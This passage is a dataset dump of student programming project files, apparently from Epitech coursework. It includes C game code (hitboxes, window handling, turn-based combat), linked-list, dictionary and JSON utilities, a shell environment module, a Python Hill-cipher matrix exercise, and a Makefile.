ifndef ANIMATION_H\n# define ANIMATION_H\n\ntypedef struct duck {\n\tint \t\t\twidth;\n\tint \t\t\tleft;\n} duck_t;\n\nvoid\t\t\t\tanimate_duck(param_t *param);\nvoid \t\t\t\trestart_animation(param_t *param);\n\n# endif" }, { "alpha_fraction": 0.6794871687889099, "alphanum_fraction": 0.6941391825675964, "avg_line_length": 19.259260177612305, "blob_id": "324c9fd76798e756bda2de69c66bbf9337637828", "content_id": "98b1e609a422986778798099f8a713109227ac79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 546, "license_type": "no_license", "max_line_length": 61, "num_lines": 27, "path": "/tek1/QuickTest/SYN_palindrome_2019/include/palindrome.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** SYN_palindrome_2019\n** File description:\n** palindrome.h\n*/\n\n#ifndef PALINDROME\n#define PALINDROME\n\ntypedef struct palindrome_t\n{\n int base;\n int number;\n int imin;\n int imax;\n char *palin;\n} palindrome;\n\nint palind(palindrome *pal);\nvoid init_struct(palindrome *pal, char **av, int ac);\nvoid infinadd(char *string, int nbr, int base);\nint palindromic(palindrome *pal);\nint print_result(int nb, palindrome *pal, int p, int origin);\nint reverse_nbr(int nb, palindrome *pal);\n\n#endif // !__PALINDROME__" }, { "alpha_fraction": 0.5605894923210144, "alphanum_fraction": 0.5813318490982056, "avg_line_length": 23.7702693939209, "blob_id": "1f51cd8ea10674c3c06fec8b1aed56516a322c19", "content_id": "3da8ff6d32c692f51a9f6165a73aefd9e26d5074", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1832, "license_type": "no_license", "max_line_length": 73, "num_lines": 74, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/hitbox.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** Epitech\n** File description:\n** hitbox\n*/\n\n#include \"game.h\"\n#include <stdlib.h>\n\nint hitbox_type(char *type)\n{\n if (!my_strcmp(type, \"HITBOX_DAMAGE\")) return HITBOX_DAMAGE;\n if (!my_strcmp(type, \"HITBOX_WALL\")) return HITBOX_WALL;\n if (!my_strcmp(type, \"HITBOX_TRIGGER\")) return HITBOX_TRIGGER;\n if (!my_strcmp(type, \"HITBOX_PLAYER\")) return HITBOX_PLAYER;\n return HITBOX_UNKNOWN;\n}\n\nsfBool check_box_collision(sfVector2f pos1, sfFloatRect box1,\n sfVector2f pos2, sfFloatRect box2)\n{\n box1.left += pos1.x;\n box1.top += pos1.y;\n box2.left += pos2.x;\n box2.top += pos2.y;\n return sfFloatRect_intersects(&box1, &box2, NULL);\n}\n\nlinked_list_t *check_collision(sfVector2f pos1, linked_list_t *hitbox1,\n sfVector2f pos2, linked_list_t *hitbox2)\n{\n collision_t *coll;\n linked_list_t *collisions = 0;\n linked_list_t *i = hitbox1;\n linked_list_t *j = hitbox2;\n\n while (i && j) {\n if (check_box_collision(pos1, ((hitbox_t *)(i->data))->box, pos2,\n ((hitbox_t *)(j->data))->box)) {\n coll = malloc(sizeof(collision_t));\n coll->box1 = i->data;\n coll->box2 = j->data;\n collisions = ll_append(collisions, coll);\n }\n j = j->next;\n if (!j) {\n j = hitbox2;\n i = i->next;\n }\n }\n return collisions;\n}\n\nint check_collision_type(linked_list_t *collisions, int type)\n{\n collision_t *coll;\n\n for (linked_list_t *i = collisions; i; i = i->next) {\n coll = i->data;\n if (coll->box1->type == type || coll->box2->type == type)\n return 1;\n }\n return 0;\n}\n\nhitbox_t *get_hitbox(int type, sfFloatRect box)\n{\n hitbox_t *hitbox = malloc(sizeof(hitbox_t));\n\n hitbox->type = type;\n hitbox->box = box;\n return hitbox;\n}" }, { "alpha_fraction": 0.644220769405365, "alphanum_fraction": 0.6508156657218933, "avg_line_length": 33.72289276123047, "blob_id": "7348bae308fc7ce7783afcd6e452a91772a80a4c", "content_id": "c1f6cba5aaf62f61e80b07104fda972bb4a02f39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2881, "license_type": "no_license", "max_line_length": 79, "num_lines": 83, "path": "/tek1/Game/MUL_my_defender_2019/lib/game/game_window.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** game_window\n*/\n\n#include \"game.h\"\n#include <stdlib.h>\n\ndictionary_t *init_game_data(window_settings_t s, sfView *view)\n{\n dictionary_t *game_data = 0;\n char **new_argv = malloc(sizeof(char *) * s.argc);\n sfVector2f *center = malloc(sizeof(sfVector2f));\n\n center->x = s.width * s.zoom / 2;\n center->y = s.height * s.zoom / 2;\n sfView_zoom(view, s.zoom);\n sfView_setCenter(view, *center);\n for (int i = 0; i < s.argc; i++) new_argv[i] = my_strdup(s.argv[i]);\n game_data = dict_add(game_data, \"width\", pint(s.width));\n game_data = dict_add(game_data, \"height\", pint(s.height));\n game_data = dict_add(game_data, \"zoom\", pint(s.zoom));\n game_data = dict_add(game_data, \"argc\", pint(s.argc));\n game_data = dict_add(game_data, \"argv\", new_argv);\n game_data = dict_add(game_data, \"layers\", 0);\n game_data = dict_add(game_data, \"tilesets\", 0);\n game_data = dict_add(game_data, \"view\", view);\n game_data = dict_add(game_data, \"center\", center);\n return dict_add(game_data, \"map\", my_strdup(\"\"));\n}\n\nvoid redraw_window(sfRenderWindow *window, dictionary_t *entities,\n sfClock *clock, dictionary_t *game_data)\n{\n sfRenderWindow_clear(window, sfBlack);\n render_layers(window, dict_get(game_data, \"layers\"));\n display_entities(entities, window,\n sfTime_asMicroseconds(sfClock_getElapsedTime(clock)));\n}\n\nvoid handle_events(sfRenderWindow *window, sfEvent event)\n{\n while (sfRenderWindow_pollEvent(window, &event))\n if (event.type == sfEvtClosed)\n sfRenderWindow_close(window);\n}\n\nvoid destroy_all(dictionary_t *entities, dictionary_t *game_data,\n sfRenderWindow *window)\n{\n destroy_entities(entities, 1);\n dict_destroy_content(game_data);\n dict_destroy(game_data);\n sfRenderWindow_destroy(window);\n}\n\nint create_game_window(window_settings_t s, dictionary_t *entities,\n int (*game)(sfRenderWindow *, sfClock *, dictionary_t **,\n dictionary_t **), sfClock *clock)\n{\n sfRenderWindow* window;\n sfEvent event;\n sfView *view = sfView_createFromRect(float_rect(0, 0, s.width, s.height));\n dictionary_t *game_data = init_game_data(s, view);\n int return_value = 0;\n\n window = create_window(s.title, s.width, s.height);\n if (!window) return 84;\n sfRenderWindow_setFramerateLimit(window, s.framerate);\n while (sfRenderWindow_isOpen(window)) {\n handle_events(window, event);\n sfRenderWindow_setView(window, view);\n apply_parallax(dict_get(game_data, \"layers\"), view,\n dict_get(game_data, \"center\"));\n redraw_window(window, entities, clock, game_data);\n if ((return_value = game(window, clock, &entities, &game_data))) break;\n sfRenderWindow_display(window);\n }\n destroy_all(entities, game_data, window);\n return return_value - 1;\n}" }, { "alpha_fraction": 0.5374197959899902, "alphanum_fraction": 0.5659301280975342, "avg_line_length": 22.79660987854004, "blob_id": "f836a04c9ecc6de2cd87cbbda866aafbb092a109", "content_id": "5f6e09d5b29554da846896ccd952ae17afe95cab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1403, "license_type": "no_license", "max_line_length": 49, "num_lines": 59, "path": "/tek1/Mathématique/103cipher_2019/103cipher", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n##\n## EPITECH PROJECT, 2019\n## 103cipher\n## File description:\n## Main\n##\n\nimport sys\nimport math\nfrom result import calc\nfrom result import calc2\nfrom result import calc3\nfrom help import help_h\nfrom calcul import reverse_bytwo\nfrom calcul import print_matrix\nfrom sort import sort_message\nfrom sort import s_message2\nfrom calcul import matrice\nfrom invert3 import inversion_matrice\n\ndef error(list):\n if len(list) != 2 and len(list) != 4:\n sys.exit(84)\n if len(list) == 2:\n if list[1] != \"-h\":\n sys.exit(84)\n else:\n help_h()\n if len(list) == 4:\n try:\n str(list[1])\n str(list[2])\n except ValueError:\n sys.exit(84)\n if int(list[3]) < 0 or int(list[3]) > 1:\n sys.exit(84)\n\n\ndef main(list):\n error(list)\n matrix = matrice(list[2])\n if list[3] == '1':\n if len(matrix) == 2:\n matrix = reverse_bytwo(matrix)\n elif len(matrix) == 3:\n matrix = inversion_matrice(matrix)\n asci = s_message2(list[1], len(matrix))\n print(\"\\n\", \"Decrypted message:\", sep=\"\")\n calc2(matrix, asci)\n else:\n print_matrix(matrix, len(matrix))\n asci = sort_message(list[1], len(matrix))\n print(\"\\n\", \"Encrypted message:\", sep=\"\")\n calc(matrix, asci)\n \n\nif __name__ == \"__main__\":\n main(sys.argv)" }, { "alpha_fraction": 0.5963995456695557, "alphanum_fraction": 0.5998838543891907, "avg_line_length": 25.106060028076172, "blob_id": "993a8c82a5d0f63e7b2ae245367d3a2c548fbe0d", "content_id": "4adc03a9094193208e0ac156a0c48ffa3ecd29c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1722, "license_type": "no_license", "max_line_length": 73, "num_lines": 66, "path": "/tek1/Game/MUL_my_rpg_2019/lib/linked/dict/dict_add.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** dict_add\n*/\n\n#include \"tools.h\"\n#include \"linked.h\"\n#include <stdlib.h>\n\ndictionary_t *dict_add(dictionary_t *dict, char *index, void *value)\n{\n dictionary_t *iterator = dict;\n dictionary_t *new_element = malloc(sizeof(dictionary_t));\n\n new_element->index = index;\n new_element->data = value;\n new_element->next = 0;\n if (!iterator) return new_element;\n while (iterator->next) iterator = iterator->next;\n iterator->next = new_element;\n return dict;\n}\n\ndictionary_t *dict_add_before(dictionary_t *dict, char *key, void *value,\n char *before)\n{\n dictionary_t *iterator = dict;\n dictionary_t *new_element = malloc(sizeof(dictionary_t));\n dictionary_t *prev = 0;\n\n new_element->index = key;\n new_element->data = value;\n while (iterator) {\n if (!my_strcmp(iterator->index, before) && !prev) {\n new_element->next = iterator;\n return new_element;\n } else if (!my_strcmp(iterator->index, before)) {\n prev->next = new_element;\n new_element->next = iterator;\n return dict;\n }\n iterator = iterator->next;\n }\n return dict;\n}\n\ndictionary_t *dict_add_after(dictionary_t *dict, char *key, void *value,\n char *after)\n{\n dictionary_t *iterator = dict;\n dictionary_t *new_element = malloc(sizeof(dictionary_t));\n\n new_element->index = key;\n new_element->data = value;\n while (iterator) {\n if (!my_strcmp(iterator->index, after)) {\n new_element->next = iterator->next;\n iterator->next = new_element;\n return dict;\n }\n iterator = iterator->next;\n }\n return dict;\n}" }, { "alpha_fraction": 0.5524359941482544, "alphanum_fraction": 0.5656481981277466, "avg_line_length": 23.73469352722168, "blob_id": "c224a104a190d05c23d302d67f58de063aa85451", "content_id": "8c54a875b29ef451a7b91b6c11e80ae62c9b2e3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1211, "license_type": "no_license", "max_line_length": 71, "num_lines": 49, "path": "/tek1/Advanced/PSU_42sh_2019/src/core/environment.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** PSU_minishell1_2019\n** File description:\n** environment\n*/\n\n#include <stdlib.h>\n#include \"shell.h\"\n\ndictionary_t *env_init(char **envp)\n{\n char **this_var;\n dictionary_t *env_vars = 0;\n\n for (int i = 0; envp[i]; i++) {\n this_var = my_strsplit(envp[i], '=');\n env_vars = dict_add(env_vars, this_var[0],\n my_strjoin(this_var + 1, \"=\"));\n free(this_var);\n }\n return env_vars;\n}\n\ndictionary_t *env_set(dictionary_t *env_vars, char *index, char *value)\n{\n if (!dict_get(env_vars, index)) env_vars =\n dict_add(env_vars, my_strdup(index), my_strdup(value));\n else dict_set(env_vars, index, my_strdup(value));\n return env_vars;\n}\n\nchar **env_to_array(dictionary_t *env_vars)\n{\n int count = 1;\n char **env_arr;\n\n for (dictionary_t *i = env_vars; i; i = i->next) count++;\n env_arr = malloc(sizeof(char *) * count);\n count = 0;\n for (dictionary_t *i = env_vars; i; i = i->next) {\n env_arr[count] = my_strconcat(i->index, \"=\");\n env_arr[count] = my_free_assign(env_arr[count],\n my_strconcat(env_arr[count], i->data));\n count++;\n }\n env_arr[count] = 0;\n return env_arr;\n}" }, { "alpha_fraction": 0.5882760882377625, "alphanum_fraction": 0.6011099815368652, "avg_line_length": 32.1494255065918, "blob_id": "0bb3b020faf618d77de008657afd4f7dbe92b90b", "content_id": "8d8b5266d722000961016e73a2d06f67709eb2d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2883, "license_type": "no_license", "max_line_length": 80, "num_lines": 87, "path": "/tek1/Game/MUL_my_defender_2019/src/fight/pve1.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Visual Studio Live Share (Workspace)\n** File description:\n** combat.c\n*/\n\n#include \"rpg.h\"\n\nint combat_wait(int *wait_time, int delta_time)\n{\n *wait_time += delta_time;\n if (*wait_time > 500000) {\n *wait_time = 0;\n return 1;\n }\n return 0;\n}\n\nvoid begin_enemy_turn(dialogue_t **dial, combat_stats_t *player_stats)\n{\n int damage = 50 - player_stats->defense;\n\n *dial = import_dialogue(\"breton_when_fighting.dial\");\n hurt(player_stats, damage);\n}\n\nint during_enemy_turn(dialogue_t **dial, combat_stats_t *player_stats,\n combat_stats_t *enemy_stats, int delta_time)\n{\n static int wait_time = 0;\n\n if (!*dial && combat_wait(&wait_time, delta_time))\n return 1;\n return 0;\n}\n\nint during_player_turn(dialogue_t **dial, combat_stats_t *player_stats,\n combat_stats_t *enemy_stats, int delta_time)\n{\n static int is_btn_pressed = 0;\n static int wait_time = 0;\n char *part = *dial ? (*dial)->progress->part->name : \"\";\n\n if (sfKeyboard_isKeyPressed(sfKeyE) && !is_btn_pressed) {\n is_btn_pressed = 1;\n while (sfKeyboard_isKeyPressed(sfKeyE) != sfFalse)\n is_btn_pressed = 1;\n if (!my_strcmp(part, \"combat_choice_1\"))\n hurt(enemy_stats,\n (p_spell(1, enemy_stats, player_stats) - enemy_stats->defense));\n if (!my_strcmp(part, \"combat_choice_2\"))\n hurt(enemy_stats,\n (p_spell(2, enemy_stats, player_stats) - enemy_stats->defense));\n if (!my_strcmp(part, \"combat_choice_3\"))\n hurt(enemy_stats,\n (p_spell(3, enemy_stats, player_stats) - enemy_stats->defense));\n } else if (is_btn_pressed) is_btn_pressed = 0;\n if (!*dial && combat_wait(&wait_time, delta_time))\n return 0;\n return 1;\n}\n\nvoid fight_frame(dialogue_t **dial, dictionary_t **gamedata,\n dictionary_t **entities, fight_arguments_t args)\n{\n static int is_player_turn = 1;\n static int previous_player_turn = 0;\n combat_stats_t *player_stats = args.player_stats;\n combat_stats_t *enemy_stats = args.enemy_stats;\n\n if (!my_strcmp(dict_get(*gamedata, \"map\"), \"combat.map\")) {\n if (is_player_turn == 1 && !previous_player_turn)\n *dial = import_dialogue(\"player_fight.dial\");\n else if (!is_player_turn && previous_player_turn)\n begin_enemy_turn(dial, player_stats);\n previous_player_turn = is_player_turn;\n if (is_player_turn == 1)\n is_player_turn = during_player_turn(dial, player_stats,\n enemy_stats, args.delta_time);\n else if (!is_player_turn)\n is_player_turn = during_enemy_turn(dial, player_stats,\n enemy_stats, args.delta_time);\n if (player_stats->health <= 0 || enemy_stats->health <= 0)\n is_player_turn = end_fight(*player_stats, dial, gamedata, entities);\n }\n}" }, { "alpha_fraction": 0.47653430700302124, "alphanum_fraction": 0.49819493293762207, "avg_line_length": 18.13793182373047, "blob_id": "266c4245e92357b841c9eac81406266e96744f29", "content_id": "3f431d8579f3b5a28db5113f1e624fb72659cb22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 554, "license_type": "no_license", "max_line_length": 60, "num_lines": 29, "path": "/tek1/Game/MUL_my_rpg_2019/lib/json/json_parse_string.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json_parse_string\n*/\n\n#include \"tools.h\"\n\nchar *json_parse_string(char **cursor)\n{\n int ignore_next = 0;\n char *str;\n\n if ((*cursor)[0] != '\"') {\n my_printf(\"invalid json\\n\");\n return 0;\n }\n str = ++(*cursor);\n while ((*cursor)[0] != '\"' || ignore_next) {\n if((*cursor)[0] == '\\\\') ignore_next = !ignore_next;\n else ignore_next = 0;\n (*cursor)++;\n }\n (*cursor)[0] = 0;\n (*cursor)++;\n str = stripslashes(str);\n return str;\n}" }, { "alpha_fraction": 0.5989717245101929, "alphanum_fraction": 0.6041131019592285, "avg_line_length": 26.821428298950195, "blob_id": "4d4a4442d210d27b1cd2ed474fcca5572762a68c", "content_id": "a63f4263fe2e63c9b61cbb5cf3dfe2a1a0130b89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 778, "license_type": "no_license", "max_line_length": 70, "num_lines": 28, "path": "/tek1/Game/MUL_my_rpg_2019/lib/json/json_stringify_dict.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json_stringify_dict\n*/\n\n#include \"json.h\"\n#include \"tools.h\"\n\nchar *json_stringify_dict(char *json, json_object_t *data)\n{\n char *content = my_strdup(\"\");\n char *final = my_strdup(\"{\");\n\n UNUSED(json);\n for (json_object_t *i = data->data; i; i = i->next) {\n content = json_stringify_append(content,\n json_stringify_string(i->index));\n content = my_free_assign(content, my_strconcat(content, \":\"));\n content = json_stringify_value(content, i);\n if (i->next)\n content = json_stringify_append(content, my_strdup(\",\"));\n }\n final = json_stringify_append(final, content);\n final = my_free_assign(final, my_strconcat(final, \"}\"));\n return final;\n}" }, { "alpha_fraction": 0.46606335043907166, "alphanum_fraction": 0.5067873597145081, "avg_line_length": 12, "blob_id": "686a286acaf234a24bd03f7ce716f9459e356965", "content_id": "466f38296abdbab367567a93ff21e87ca5ec24d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 221, "license_type": "no_license", "max_line_length": 32, "num_lines": 17, "path": "/tek1/Piscine/CPool_Day03_2019/my_print_alpha.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_print_alpha\n** File description:\n** \n*/\n\nint my_print_alpha(void)\n{\n char i;\n char letter;\n\n for (i = 97; i < 123; i++) {\n letter = i;\n my_putchar(letter);\n }\n}\n" }, { "alpha_fraction": 0.616216242313385, "alphanum_fraction": 0.637837827205658, "avg_line_length": 12.285714149475098, "blob_id": "548633a69149e3492a476c873c5aad131a0a7725", "content_id": "d5c801345be8ebeca3e07ec0b8711416cbd317d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 185, "license_type": "no_license", "max_line_length": 42, "num_lines": 14, "path": "/tek1/Game/MUL_my_rpg_2019/lib/tools/print_return.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libtools\n** File description:\n** print_return\n*/\n\n#include \"tools.h\"\n\nvoid *print_return(char *print, void *ret)\n{\n my_printf(print);\n return ret;\n}" }, { "alpha_fraction": 0.36699506640434265, "alphanum_fraction": 0.4236453175544739, "avg_line_length": 15.916666984558105, "blob_id": "02ae857d475f92f3ff263534542e1a0e3df34c64", "content_id": "7bf33bad9334ed9da2bbf42af97e6b472d9c6ae7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 406, "license_type": "no_license", "max_line_length": 45, "num_lines": 24, "path": "/tek1/Functionnal/CPE_matchstick_2019/lib/my/my_strcmp.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_sokoban_2019\n** File description:\n** my_strcmp.c\n*/\n\n#include \"my.h\"\n\nint my_strcmp(char const *s1, char const *s2)\n{\n int i = 0;\n int j = 0;\n int result = 0;\n\n while (s1[i] != '\\0' && s2[j] != '\\0') {\n if (s1[i] != s2[j]) {\n result = (s1[i] - s2[j]);\n return (result);\n }\n i = i + 1;\n j = j + 1;\n }\n}\n" }, { "alpha_fraction": 0.5582329034805298, "alphanum_fraction": 0.5983935594558716, "avg_line_length": 15.666666984558105, "blob_id": "8e6a8b28e9059b8423c970bdeb7fabab338af5f4", "content_id": "9e585d9b833424db5f4ec8ddd0081ab26aa67870", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 249, "license_type": "no_license", "max_line_length": 52, "num_lines": 15, "path": "/tek1/Advanced/PSU_navy_2019/lib/my_put_unsigned_long.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_put_nbr\n** File description:\n** lib - mehdi.zehri\n*/\n\n#include \"navy.h\"\n\nunsigned long my_put_unsigned_long(unsigned long nb)\n{\n if (nb > 9)\n my_put_unsigned_long(nb / 10);\n my_putchar('0' + nb % 10);\n}" }, { "alpha_fraction": 0.5956678986549377, "alphanum_fraction": 0.6004813313484192, "avg_line_length": 17.086956024169922, "blob_id": "7bb72c3ab709b35cbc81d8268789bc7bd66106f9", "content_id": "247d96ab4bb8e7e8e1d2178320e75af41b1cf0ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 831, "license_type": "no_license", "max_line_length": 62, "num_lines": 46, "path": "/tek1/Advanced/PSU_42sh_2019/lib/linked/list/ll_destroy.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** linked_list\n** File description:\n** linked_list\n*/\n\n#include \"linked.h\"\n#include <stdlib.h>\n\nvoid ll_destroy(linked_list_t *list)\n{\n if (!list) return;\n if (list->next) ll_destroy(list->next);\n free(list);\n}\n\nvoid ll_v_destroy_c(void *list)\n{\n ll_destroy_content((linked_list_t *) list);\n ll_destroy((linked_list_t *) list);\n}\n\nvoid ll_v_destroy(void *list)\n{\n ll_destroy((linked_list_t *) list);\n}\n\nvoid ll_destroy_content(linked_list_t *list)\n{\n linked_list_t *iterator = list;\n\n while (iterator) {\n free(iterator->data);\n iterator = iterator->next;\n }\n}\n\nvoid ll_free(linked_list_t *list, void (free_content)(void *))\n{\n if (list) {\n if (list->next) ll_free(list->next, free_content);\n free_content(list->data);\n free(list);\n }\n}" }, { "alpha_fraction": 0.49253731966018677, "alphanum_fraction": 0.572139322757721, "avg_line_length": 11.625, "blob_id": "33b2447f5e418e0867da2c062e07ccc945260ef4", "content_id": "3f0d465a68610bfd445ec824d632e0dcec023f69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 201, "license_type": "no_license", "max_line_length": 33, "num_lines": 16, "path": "/tek1/Game/MUL_my_rpg_2019/lib/tools/my_max.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_max\n** File description:\n** my_max\n*/\n\nint max(int nb1, int nb2)\n{\n return nb1 > nb2 ? nb1 : nb2;\n}\n\nint min(int nb1, int nb2)\n{\n return nb1 < nb2 ? nb1 : nb2;\n}" }, { "alpha_fraction": 0.3928358256816864, "alphanum_fraction": 0.44477611780166626, "avg_line_length": 21.33333396911621, "blob_id": "ed648237b0b4f8482a6194e3153a1cb369847f99", "content_id": "7f01e8570e1c0c1c6efa79b06eaf2d36c43c747d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1675, "license_type": "no_license", "max_line_length": 48, "num_lines": 75, "path": "/tek1/Mathématique/103cipher_2019/calcul.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## 103cipher_2019\n## File description:\n## calcul/write matrix\n##\n\nimport math\n\ndef check_value(value, value2):\n if format(value) == 0:\n print(round(value*(-1), 3),\"\\t\", end=\"\")\n else:\n print(round(value, 3),\"\\t\", end=\"\")\n if format(value2) == 0:\n print(round(value*(-1), 3))\n else:\n print(round(value, 3))\n\ndef reverse_bytwo(matrix):\n matrix[0][1] *= (-1)\n matrix[1][0] *= (-1)\n x = matrix[0][0]\n matrix[0][0] = matrix[1][1]\n matrix[1][1] = x\n ad = matrix[0][0]*matrix[1][1]\n bc = matrix[0][1]*(-1)*matrix[1][0]*(-1)\n a = 1/(ad-bc)\n matrix[0][0] = a * matrix[0][0]\n matrix[0][1] = a * matrix[0][1]\n check_value(matrix[0][0], matrix[0][1])\n matrix[1][0] = a * matrix[1][0]\n matrix[1][1] = a * matrix[1][1]\n check_value(matrix[1][0], matrix[1][1])\n return (matrix)\n\n \ndef print_matrix(matrix, max):\n p = 0\n i = 0\n\n while i <= max:\n if i == max and p != max:\n p = p + 1\n i = 0\n if i == max or p == max:\n i = max + 1\n elif i == max - 1:\n print(matrix[p][i])\n else:\n print(matrix[p][i],\"\\t\", end=\"\")\n i = i + 1\n\ndef matrice(word):\n i = 0\n print(\"Key matrix:\")\n while math.sqrt(len(word)) > i:\n i += 1\n matrix = []\n c = 0\n d = 0\n maxi = i\n i = 0\n while c < maxi:\n matrix.append([])\n while d < maxi:\n if i >= len(word):\n matrix[c].append(0)\n else:\n matrix[c].append(ord(word[i]))\n d += 1\n i += 1\n d = 0\n c += 1\n return (matrix)\n" }, { "alpha_fraction": 0.4174653887748718, "alphanum_fraction": 0.43450480699539185, "avg_line_length": 17.05769157409668, "blob_id": "87ff40bc2b7c2d06ebe5826c4665a1d884a7d34f", "content_id": "b5334a2893b34e0d95b4de36860929aa2eb3167b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 939, "license_type": "no_license", "max_line_length": 59, "num_lines": 52, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/my_printf.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_printf\n** File description:\n** by clement fleur Promo 2024\n*/\n\n#include \"struct.h\"\n#include \"my.h\"\n#include <stdarg.h>\n#include <stdlib.h>\n\nstruct printf_a tab[] = {\n {'s', my_putstr}, {'c', my_putchar}, {'d', my_put_nbr},\n {'i', my_put_nbr}, {'S', my_putstr}, {0, }\n};\n\nvoid check_type(char av, va_list list)\n{\n int i;\n\n i = 0;\n if (av != tab[2].flag && av != tab[3].flag) {\n while (tab[i].flag != av) {\n i++;\n }\n tab[i].fct(va_arg(list, char *));\n }\n else {\n while (tab[i].flag != av) {\n i++;\n }\n tab[i].fct(va_arg(list, int));\n }\n}\n\nvoid my_printf(char *av, ...)\n{\n int i;\n va_list list;\n\n i = 0;\n va_start(list, av);\n while (av[i] != 0) {\n if (av[i] == '%')\n check_type(av[i + 1], list);\n else if (av[i - 1] != '%')\n my_putchar(av[i]);\n i++;\n }\n va_end(list);\n}\n" }, { "alpha_fraction": 0.5635359287261963, "alphanum_fraction": 0.570902407169342, "avg_line_length": 14.083333015441895, "blob_id": "d725e0214e96687c2dfa824bc9aafbe45bb7d439", "content_id": "41f2b07f2a84c70a7718fc3cb8f34197dca2ef32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 543, "license_type": "no_license", "max_line_length": 29, "num_lines": 36, "path": "/tek1/Advanced/PSU_my_printf_2019/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## Makefile\n## File description:\n## Make automatic gcc command\n##\n\nSRC \t\t=\tlib/my/my_getnbr.c\t\\\n\t\t\t lib/my/my_putchar.c\t\t\\\n\t\t\t lib/my/my_put_nbr.c\t\\\n\t\t\t lib/my/my_putstr.c\t\\\n\t\t\t lib/my/my_strcpy.c\t\\\n\t\t\t lib/my/my_putfloat.c\t\\\n\t\t\t lib/my/my_putdouble.c\t\\\n\t\t\t lib/my/my_printf.c\t\\\n\nFCT\t\t= \tlib/my/my.h\t\\\n\t\t\tlib/my/struct.h\t\\\n\nOBJ \t\t=\t$(SRC:.c=.o)\n\nNAME\t\t=\tlibmy.a\n\nall: \t$(NAME)\n\n$(NAME):\t$(OBJ)\n\t\tar rc $(NAME) $(OBJ)\n\t\tcp $(FCT) include\n\nclean:\n\trm -f $(OBJ)\n\nfclean: clean\n\trm -f $(NAME) include/*\n\nre: fclean all\n" }, { "alpha_fraction": 0.5327869057655334, "alphanum_fraction": 0.5382513403892517, "avg_line_length": 23.433332443237305, "blob_id": "d9f36af4f4adda47b04fd517aea49b41f4b9acc3", "content_id": "b8584b2eac84b6b54a1f58553f210b5d04226f07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 732, "license_type": "no_license", "max_line_length": 59, "num_lines": 30, "path": "/tek1/Game/MUL_my_defender_2019/lib/json/json_stringify_value.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json_stringify_value\n*/\n\n#include \"json.h\"\n#include \"tools.h\"\n\nchar *json_stringify_value(char *json, json_object_t *data)\n{\n switch (data->type) {\n case JSON_INT:\n json = json_stringify_append(json,\n my_int_to_str(*(int *)(data->data)));\n break;\n case JSON_DOUBLE:\n json = json_stringify_append(json,\n json_stringify_double(data));\n break;\n case JSON_STRING:\n json = json_stringify_append(json,\n 